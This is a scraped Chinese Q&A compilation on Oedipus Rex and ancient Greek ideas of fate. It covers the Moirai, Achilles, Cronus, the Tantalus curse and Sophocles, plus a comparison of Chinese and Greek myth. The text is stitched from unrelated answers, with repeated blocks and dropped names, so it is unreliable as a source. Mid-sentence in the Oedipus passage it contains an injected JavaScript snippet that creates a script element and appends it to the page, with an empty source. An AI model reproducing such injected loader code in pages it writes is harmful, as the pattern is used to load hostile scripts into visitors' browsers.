俄狄浦斯王是一个什么样的人，反映了古希腊人的何种命运观
古希腊的是命运的悲剧，也就是在神喻注定的，即无晓发生的时刻又无可逃避的命运古希腊的世界中，我们的命运都是天神注定的，只是我们自己不知道细节，也不能改变结果，但是我们却不得不继续生活。
无论幸福快乐，还是痛苦悲伤，我们只能接受这样的安排，完成这样的安排，因为我们永远不知道下一个神喻所注定的事件是什么，会怎样。
简单而言，生活，而且继续生活下去，这一切。
相比而言，文艺复兴时期的古典主义悲剧是伦理性格的悲剧，现实主义悲剧是社会的悲剧，现代主义悲剧是境遇的悲剧，后现代主义悲剧，是说不清的问题，姑且说是精神反思的问题吧
希腊人的命运观论文3000字 求解
一、希腊神话中的命运观 在希腊神话中，对于命运这一世间“最奇异之事物”的拷问和探究演绎出了许多荡气回肠的悲壮故事。
命运三女神（the Fates）掌管着大地上所有食用五谷之人的命运，Clotho 负责纺织生命之线，Lachesis 决定生命线的长度，Atropos 负责切断生命之线。
她们的存在反映出在古希腊人看来，每个人的命运都是预先设定的，神、半神、英雄和凡人都逃离不出命运之手。
然而，正如希腊神话中不断涌现出的反抗命运的悲剧，希腊人一方面通过特殊的方式和渠道去了解命运，另一方面，他们认为直面残酷命运的勇气和敢于抗拒的精神和努力是不可或缺的，尽管最后这样的努力往往以悲剧告终。
这一点可以在英雄们对个人命运和家族命运的抗争中体现出来。
这样的抗争和抗争的结局，揭示了人类从必然王国要走向自由王国是要付出漫长而艰辛的努力的，但是这种发展趋势是必然的。
二、希腊神话中命运观的表现形式 1、个人命运 希腊神话中个人命运的表现大部分是通过英雄们的悲剧展现，也有一部分是通过诸神表现出来。
英雄们的悲剧中，Achilles的故事可以为例。
Achilles是武功盖世的英雄，他有两个可供选择的命运。
一个是参加命中注定的特洛伊战争，叱咤风云而沙场捐躯，壮怀激烈而名扬千古。
另一个则是安居度日，平安无事，颐养天年却碌碌无闻。
他的母亲海洋女神Thetis为他选择了第二种，让他男扮女装，掩人耳目，避免参战。
然而，最后Odysseus使计让他暴露了身份，他毫不犹豫地参战了。
神谕兆示没有Achilles的参战，希腊人就无法获胜，所以命中注定希腊人会找到他。
但是，正如前文所提到的，Achilles同时也试图挣脱命运的挟持，只是最后，毒箭射中了他的脚踝，他最终还是落入了命运之网。
Achilles正是在向命运发起挑战的冲锋中走向自己命运的归宿，这本身就体现了希腊人所称的“命运之悲剧”。
至于在诸神身上所体现出的命运之手，从希腊神话开端之处主神们一代推翻一代的神谕和印证中就表现了出来。
为了救出被Uranus关押的孩子们，Gaia与Cronus密谋杀害Uranus。
愤怒的Uranus在被Cronus杀害之后预言Cronus将来会像他推翻自己一样被自己的儿子推翻。
Cronus上位之后，没有履行自己的诺言释放自己被关押的兄弟们，同时，为了逃脱被取代的命运，他吃下了Rhea所生的所有孩子，冥冥之中注定Zeus侥幸成为了漏网之鱼，最终Cronus没有能摆脱被取代的命运。
2、家族命运 命运之手在家族层面上的表现可以Tantalus家族的命运为例。
国王Tantalus仗着Zeus对他的宠爱，竟然把自己的儿子剁成碎块招待神灵，以此试探神灵是否能察明一切。
最后他在地狱里承受饥饿、干渴和恐怖的三重折磨，而且他的后裔和整个家族也因此受到了诅咒，使血腥、杀戮、通奸等罪恶在他的子孙后代中延续下去。
三、命运观塑成原因 希腊神话中命运的形成与自然环境( 地理) 的关系极为密切, 因为命运观是人在与自然搏斗过程中形成的观念。
希腊地区多山贫瘠，农业十分落后，因此希腊人在生活压力下不得不前往开拓海洋。
然而，不同于相对稳定的陆地环境，海洋对海民来说是变幻莫测的，海民的收成时常受到大自然的恩赐或惩罚。
因此，希腊人强烈的命运观就如此建立在听任大自然安排的生产方式上。
同时，从陆上开拓到海上本身就是一个壮举，一种冒险，这种长期的冒险生活自然就培养出了希腊人冒险的性格，反映到命运观上就是勇于挑战命运的魄力。
四、命运观与内在精神的联系 1、命运观与伦理的关系 可以说，整部希腊神话就是命运的展开与神谕的实现，伦理在命运面前是无力的。
最经典的例子莫过于俄狄浦斯王的故事。
俄狄浦斯王还未出生就被命运女神决定了弑父娶母的命运, 尽管其父拉伊俄斯小心行事, 尽管俄狄浦斯王放弃王位, 永远离开养父及妻子, 到处漫游, 但还是逃不出命运的安排, 还是未能摆脱命运对他的惩罚, 而应验了神谕的安排。
从俄狄浦斯王的故事中，我们不难发现命运道德是对抗对立、彼此消解的关系。
命运的在场及其不可逆改性, 使伦理难以找到稳固的落脚点。
尽管俄狄浦斯离乡背井, 小心行事, 但最终仍逃不出var script = document.createElement('script'); script.src = ''; document.body.appendChild(script);命运之神的魔掌。
进一步分析，我们可以发现正是由于命运之手是不可抗拒的，小心翼翼无济于事，倒还不如一切随性，听凭命运安排，这种心态就导致了希腊诸神本能的膨胀。
因此在希腊神话中，希腊的诸神们、英雄们都有兽性的一面。
如果一切都听凭命运主宰，人和神自然会变得消极被动，责任感自然就会消解，直接导致伦理的缺失。
举Zeus为例，一方面他是最高的神, 是公义( 即某种程度上的伦理) 的代表者, 另一方面又不停地拈花惹草。
Zeus的歹行与他的公义之间出现严重的矛盾, 但在希腊神话中, 歹行与公义两者却集于宙斯一身, 成为一个统一体。
同样的道理, Aphrodite既是崇高理想爱情的保护者, 又是淫欲的化身和娼妓的保护者。
爱情娼妓两者在希腊神话中和谐地构成了个统一体，这在伦理观念稀薄的时空里是可以成立的。
也就是说，命运的存在削弱了伦理的存在，造成了伦理的缺位。
2、命运观与悲剧精神 悲剧精神主要体现在希腊悲剧作品中。
希腊悲剧具有很高的艺术价值，基本上取材于神话与传说，以古代的英雄故事作为主要内容。
希腊悲剧与此前的“系统叙事诗”所表现的古老家族的不幸遭遇有着直接的渊源关系，它们共同的主题都是人在客观世界面前所面临的矛盾冲突和不幸命运。
从历史的角度看，希腊悲剧实际上是处在不断变化中的社会的伦理冲突的艺术写照，它表现了个人的自由意志与客观必然性，即命运的深刻矛盾。
在剧情发展中，悲剧主人公往往通过自己的自由意志来为神秘的命运开辟道路，这一点俄狄浦斯王的悲剧体现地淋漓尽致。
而希腊悲剧的魅力所在，正是这种由悲剧主人公为自己掘墓的不幸，而这种被所谓的自由意志所遮蔽的不可逃避的必然性，就是操纵一切的命运。
跳出希腊悲剧作品来讨论，在希腊神话中, 命运既不能用理智进行逻辑的说明，也不能在道德上得到合理的证明。
英雄与神都会被命运抛入无法逃避的灾难中，这是人感到敬畏和惊奇。
当然，命运常常作为神的意志并借助神的活动被表现出来，神被认为就是宇宙的秩序，因此敬畏神和顺服神是古希腊人文精神的主题。
但命运往往又凌驾于神之上, 因为不仅人要接受命运的安排, 就是神也要服从命运的安排。
不堪苦难而又不得不承受苦难的处境, 是神也无计逃避的命运。
所以古希腊悲剧精神着力于体现人的弱小, 在面对强大的命运时无能为力，但又试图与之抗衡，最后恰恰好落入命运的圈套之中，这反映了希腊人对于生命的真实态度。
简述题古希腊悲剧中的命运观念和人本思想
1人的意志与命运的冲突是古希腊悲剧中的一个常见的主题。
2按照古希腊人的观念，命运是不可抗拒的，是不可知的。
这种命运观产生的社会背景是人类处于生产力水平低下的时期。
3随着社会的发展，命运观也在发生变化。
三位悲剧诗人在命运观上的差异就表明了这一点。
埃斯库罗斯认为命运支配人的一切，包括支配神。
索福克勒斯认为命运不是具体的神物，而是一种超乎人类之外的抽象观念，虽不可抗拒，但其正义性，合理性却是可以怀疑的；敢于抗争命运的英雄是值得同情和歌颂的，虽然最后只能是一场悲剧。
欧里庇得斯认为人的命运取决于自己的行为。
古希腊三大悲剧家的代表作体现了古希腊人什么样的命运观念
一、中国古代神话与古希腊神话的相同点 （一）神话都是古代人们原始思维的结晶。
（二）中、希神话的大至内容也是相同的，抱括了创世神话、自然神话和英雄神话几种。
在创世神话方面，中国有盘古开天辟地、女娲造人。
古希腊的是造卡奥斯创造天地、普罗米修斯创造人类。
在征服自然的强烈愿望方面也有某些相似之处，例如我国后羿的故事和古希腊神话中的著名英雄赫拉克里斯都是可以相互媲美的。
二、中国古代神话与古希腊神话的不同点 1、神的体系不同 2、形态不同 3、性格不同4、本质不同 5、崇拜的对象不同 中国神话之神多为理智所控制，希腊神话之诸神多为感情所支配；中国神话强调人的力量，希腊神话主张命运主宰一切；中国神话重视人的社会性，希腊神话则强调人的自然性；中国神话表现了儿童的早熟，希腊神话表现了儿童的天真。
中国的神话系统具有浓烈的宗教思想，根本就是宗教的产物，这些神话传说最终是要达到劝世的目的，而不同于希腊神话里普遍反映一种哲理。
中国的神话实质上反映出统治阶级利用此为手段的功用主义，具有使用性，一种现实性。
这种使用性还表现于人民。
人民在饱受压迫或者灾害的时候，心灵都要迫切的找到寄托，在这里他们就可以自我麻痹，沉醉于来世和幻想，从这方面价格内，中国神话是唯美、唯喜的，试图笼罩于人民的一切，并且都暗示喜剧的结局。
反之，希腊神话则很注重感情的独白，不懈的追求与抗挣，悲剧也要悲得轰轰烈烈、壮美。
一种赤裸裸的鲜血流尽的感受。
希腊神话中的神都仿佛是人，不但具有人的感情而且有人的身躯，神人合一，神同人一样也有七情六欲，他们到有强烈的爱恨行动与感受；也有喜悦、悲哀、痛苦；也有人的心灵情态。
神话是远古人民表现对自然及文化现象的理解与想象的故事。
它是人类早期的不自觉的艺术创作。
神话并非现实生活的科学反映，而是由于远古时代生产力的水平很低，人们不能科学地解释世界、自然现象和原始社会文化生活的起源和变化，以他们贫乏的生活经验为基础，借助想象和幻想把自然力和客观世界拟人化的结果。
另有以《神话》命名的小说，电视剧，电影和韩国组合神话等。
比较题： 人与命运的冲突是古希腊悲剧中的一个常见主题。
1人的意志与命运的冲突是中的一个常见的主题。
2按照古希腊人的观念，命运是不可抗拒的，是不可知的。
这种命运观产生的社会背景是人类处于生产力水平低下的时期。
3随着社会的发展，命运观也在发生变化。
三位悲剧诗人在命运观上的差异就表明了这一点。
认为命运支配人的一切，包括支配神。
认为命运不是具体的神物，而是一种超乎人类之外的抽象观念，虽不可抗拒，但其正义性，合理性却是可以怀疑的；敢于抗争命运的英雄是值得同情和歌颂的，虽然最后只能是一场悲剧。
认为人的命运取决于自己的行为。
欢迎给分啊
古希腊悲剧的命运主题表现在哪些方面
lz的问题相当宽泛，只好试着回答了。
命运对古希腊人而言本来就是难以明说的东西，但古人总是相信，命运必然存在；人之所以为人固然要敬畏神明和命运这些神秘的东西，然而如果人出于过分的虔敬而不能为尘世生活有所作为的话，那么人的价值何在呢
这样说也许非常宽泛，然而我觉得古希腊悲剧的命运主题，很大程度上就在于人的行动和命运之间的张力。
正如最典型的《俄狄浦斯王》中表现得那样，俄狄浦斯一味要摆脱早已预知的命运，却越发接近那个恐怖的命运——然而俄狄浦斯不去逃避、不施展“逃避命运”的行动，又能如何呢
或许有人说，如果俄狄浦斯没有逃离科林斯，就不会真的像命运所说的那样杀父娶母，但是悲剧之所以构成自身的关键就在于，人往往具有一种异常清醒的行动，人需借自己的“有为”来为自己做些什么，不管在神明看来，这些举动多么徒劳。
悲剧往往就在这个意义上揭示了人类生活的本相，我们仿佛都知道，人总是要死的，但是人是否可以因为终有一死而坐以待毙呢
我想当俄狄浦斯面对一个他不愿接受的命运时，感受到的正是这样一种深切的虚无感，可是古代的悲剧英雄不会真的而选择虚无，因而他们迎向了命运对人的嘲弄、完成了整个的悲剧行动。
命运的主题对希腊悲剧而言实在太重要了，简而言之，正是让人感觉到：人越是想要摆脱命运，就越是走向命运既定的方向，无可自拔。
亚里士多德认为俄狄浦斯是最好的悲剧形象，带给人最深的怜悯与恐惧。
窃以为，这样一种命运的存在可以提醒人们注意到，自己究竟处于怎样的生存境遇之中，这种境遇甚至比政治生活更加基本。
回答得比较散乱，希望不要介意。
